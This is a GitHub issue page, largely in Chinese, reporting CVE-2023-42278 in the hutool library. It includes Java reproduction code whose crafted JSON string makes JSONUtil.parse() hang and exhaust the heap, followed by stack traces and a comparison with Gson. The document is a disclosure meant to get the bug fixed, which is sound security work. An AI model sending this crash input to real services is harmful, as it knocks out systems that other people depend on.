Headline
CVE-2023-42278: `JSONUtil.parse()`方法解析特定输入时,会导致服务挂起和崩溃,存在安全隐患 · Issue #3289 · dromara/hutool
hutool v5.8.21 was discovered to contain a buffer overflow via the component JSONUtil.parse().
版本情况
JDK版本: 1.8.0_362
hutool版本: 5.8.21
问题描述(包括截图)
- 复现代码
import cn.hutool.json.JSONUtil;
public class JSONOUtilTest {
public static void main(String\[\] args) {
String s = "{\\"G\\":00,\[,,\[0E5,6E9,6E5,6E9,6E5,6E9,6E5,6E9,6E9,6E5,true,6E5,6E9,6E5,6E9,6956,EE,5E9,6E5,RE,6E9,6E9,6E5,6E9,6E5,6E9,6E5,6E9,6E5,6E962756779,4141697\],\]}";
new JSONOUtilTest().testHutoolJSON(s);
new JSONOUtilTest().testGson(s);
}
// hutool-json测试
public void testHutoolJSON (String str) {
JSON json = JSONUtil.parse(str);
}
// gson测试
public void testGson (String str) {
Gson gson = new GsonBuilder().setPrettyPrinting().create();
JSONObject entries = gson.fromJson(str, JSONObject.class);
System.out.println(entries.toStringPretty());
}
}
- 堆栈信息
我们的服务使用了hutool-json来将字符串解析为json,当我们接收到的字符串为"{"G":00,[,[0E5,6E9,6E5,6E9,6E5,6E9,6E5,6E9,6E9,6E5,true,6E5,6E9,6E5,6E9,6956,EE,5E9,6E5,RE,6E9,6E9,6E5,6E9,6E5,6E9,6E5,6E9,6E5,6E962756779,4141697],]}"时,JSONUtil.parse()挂起一段时间,然后服务崩溃,报错:
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
at java.util.Arrays.copyOf(Arrays.java:3332)
at java.lang.AbstractStringBuilder.ensureCapacityInternal(AbstractStringBuilder.java:124)
at java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:649)
at java.lang.StringBuffer.append(StringBuffer.java:387)
at java.io.StringWriter.write(StringWriter.java:77)
at cn.hutool.json.serialize.JSONWriter.writeRaw(JSONWriter.java:392)
at cn.hutool.json.serialize.JSONWriter.writeValueDirect(JSONWriter.java:231)
at cn.hutool.json.serialize.JSONWriter.writeField(JSONWriter.java:196)
at cn.hutool.json.JSONArray.lambda$write$2cc9e97d$1(JSONArray.java:561)
at cn.hutool.json.JSONArray$$Lambda$6/379110473.accept(Unknown Source)
at cn.hutool.core.collection.CollUtil.forEach(CollUtil.java:2690)
at cn.hutool.core.collection.CollUtil.forEach(CollUtil.java:2674)
at cn.hutool.json.JSONArray.write(JSONArray.java:561)
at cn.hutool.json.serialize.JSONWriter.writeObjValue(JSONWriter.java:257)
at cn.hutool.json.serialize.JSONWriter.writeValueDirect(JSONWriter.java:239)
at cn.hutool.json.serialize.JSONWriter.writeField(JSONWriter.java:196)
at cn.hutool.json.JSONArray.lambda$write$2cc9e97d$1(JSONArray.java:561)
at cn.hutool.json.JSONArray$$Lambda$6/379110473.accept(Unknown Source)
at cn.hutool.core.collection.CollUtil.forEach(CollUtil.java:2690)
at cn.hutool.core.collection.CollUtil.forEach(CollUtil.java:2674)
at cn.hutool.json.JSONArray.write(JSONArray.java:561)
at cn.hutool.json.JSONArray.write(JSONArray.java:543)
at cn.hutool.json.JSON.toJSONString(JSON.java:120)
at cn.hutool.json.JSONArray.toString(JSONArray.java:522)
at cn.hutool.json.JSONParser.parseTo(JSONParser.java:69)
at cn.hutool.json.ObjectMapper.mapFromTokener(ObjectMapper.java:243)
at cn.hutool.json.ObjectMapper.mapFromStr(ObjectMapper.java:219)
at cn.hutool.json.ObjectMapper.map(ObjectMapper.java:98)
at cn.hutool.json.JSONObject.<init>(JSONObject.java:210)
at cn.hutool.json.JSONObject.<init>(JSONObject.java:187)
at cn.hutool.json.JSONUtil.parseObj(JSONUtil.java:112)
at cn.hutool.json.JSONUtil.parse(JSONUtil.java:227)
经测试,我们发现,如果使用gson解析上述字符串,gson能够捕获异常:
Exception in thread "main" com.google.gson.JsonSyntaxException: duplicate key: G
at com.google.gson.internal.bind.MapTypeAdapterFactory$Adapter.read(MapTypeAdapterFactory.java:190)
at com.google.gson.internal.bind.MapTypeAdapterFactory$Adapter.read(MapTypeAdapterFactory.java:145)
at com.google.gson.Gson.fromJson(Gson.java:932)
at com.google.gson.Gson.fromJson(Gson.java:897)
at com.google.gson.Gson.fromJson(Gson.java:846)
at com.google.gson.Gson.fromJson(Gson.java:817)
at JSONOUtilTest.testGson(JSONOUtilTest.java:43)
at JSONOUtilTest.main(JSONOUtilTest.java:54)
测试涉及到的文件(注意脱密)
见复现代码。分析
通过与gson运行结果的对比,JSONUtil.parse()方法解析特定输入时,会导致服务挂起和崩溃,存在安全隐患。
Related news
GHSA-rr66-qh5m-w6mx: hutool Buffer Overflow vulnerability
hutool v5.8.21 was discovered to contain a buffer overflow via the component `JSONUtil.parse()`.